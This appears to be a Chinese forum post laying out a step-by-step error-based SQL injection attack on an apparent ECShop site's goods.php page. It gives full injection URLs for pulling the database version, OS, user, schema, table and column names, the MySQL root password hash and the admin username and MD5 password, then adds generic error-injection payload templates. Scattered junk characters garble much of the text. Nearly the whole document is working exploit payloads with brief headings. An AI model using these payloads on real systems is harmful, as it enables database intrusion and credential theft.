判断版本号 ' |/ s; V; t% [! p2 n: b
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23. u8 g- [8 x0 |! N6 t& V$ {; K1 l
. L" I1 H5 M/ l! W. X; u判断系统$ ] q* }/ r& e) d; c
' ~' M$ J# O G, ~) u( v- |1 }+ N
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%238 x! M: _/ w# r+ W2 M9 d
O, S/ `/ j9 T- ~
: x/ b* q8 f) v) w# J" o/ v$ `3 G+ |6 m7 g8 ]) V
当前 user()& E) R0 k0 ]& }% g: U/ k
* ~( W G' v. M+ l6 U- n3 Dhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
/ `$ j3 U4 S# P9 y9 {7 }% `. u, V9 k& M+ v
0 I) ?2 [+ V% x% W/ i( u4 W3 u
2 X0 i. H6 l' b' a2 e! M当前 database()
8 i; H8 i: f1 O; t- G7 L6 x! r% p) _http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
4 T+ E, w+ M2 L* Q$ z0 U6 O2 e9 Q* Z+ O# F* ]6 i: w+ c
5 B% d8 |- l9 ?" q& t m
* t8 t- q9 E# p" i/ _
/ ]" I/ l1 j }. C2 qroot hash6 r+ v7 [; Y( Z3 M! H
E4 P/ p2 Z4 l- |http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%237 I) C+ {2 \/ z t: z3 S
0 e; F1 g' o1 ?
2 u7 Q) F h0 }9 U8 m \
1 w1 d0 X0 \. k0 h. s8 n, L" n
当前 数据库表名
7 j" l, ~& T# I8 R1 ~4 |
- z$ G- s5 z/ @http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
5 x! j+ P6 w5 Y- C! V9 r2 R1 L8 a3 R
3 b" a/ M5 ]5 l* m. h9 g) o0 m# O- J H& G% K, i& L$ m* }* U
当前 数据库 user_name 字段
( } O6 b( i2 u7 ~8 B: Y2 ?) W. Y' ^
( l- H+ e5 ]. _3 hhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%232 x* H% S9 i( I8 ~0 d
9 K3 B0 S/ V$ {当前 数据库 字段 password
. `0 E1 A; ?, w$ a1 W4 }( nhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
) D7 _7 b. p1 _8 I% f* z
! x1 s3 z, M2 v! I
4 z8 z- x8 J$ l# M2 ^
, x+ \! m; c0 [/ F- L获得 admin passwd(md5)
% W5 @8 y: a; V' g/ b
7 g+ }2 F7 q0 m+ m
5 }$ G' ?- G6 Q1 }' D7 Ihttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
6 C: L* K, c) z! X' M$ t0 R' w8 @# R2 T# n9 }6 e: r
报错注射6 @2 Z6 |+ i4 P$ o' i0 f
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)3 H' l i( @& d3 r) k* e' m
, F( y; a% y% A6 o9 a; WSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
: ^ d. V5 U9 X. q; Z5 m" [
6 {$ [) c6 R5 e2 `, q; nand(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |